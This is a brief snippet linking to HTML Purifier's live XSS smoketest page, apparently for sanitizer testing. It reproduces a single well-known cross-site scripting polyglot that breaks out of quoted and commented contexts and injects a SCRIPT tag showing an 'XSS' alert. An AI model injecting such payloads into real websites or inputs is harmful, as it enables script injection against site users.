[http://htmlpurifier.org/live/smoketests/xssAttacks.php](http://htmlpurifier.org/live/smoketests/xssAttacks.php) ``` ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} ```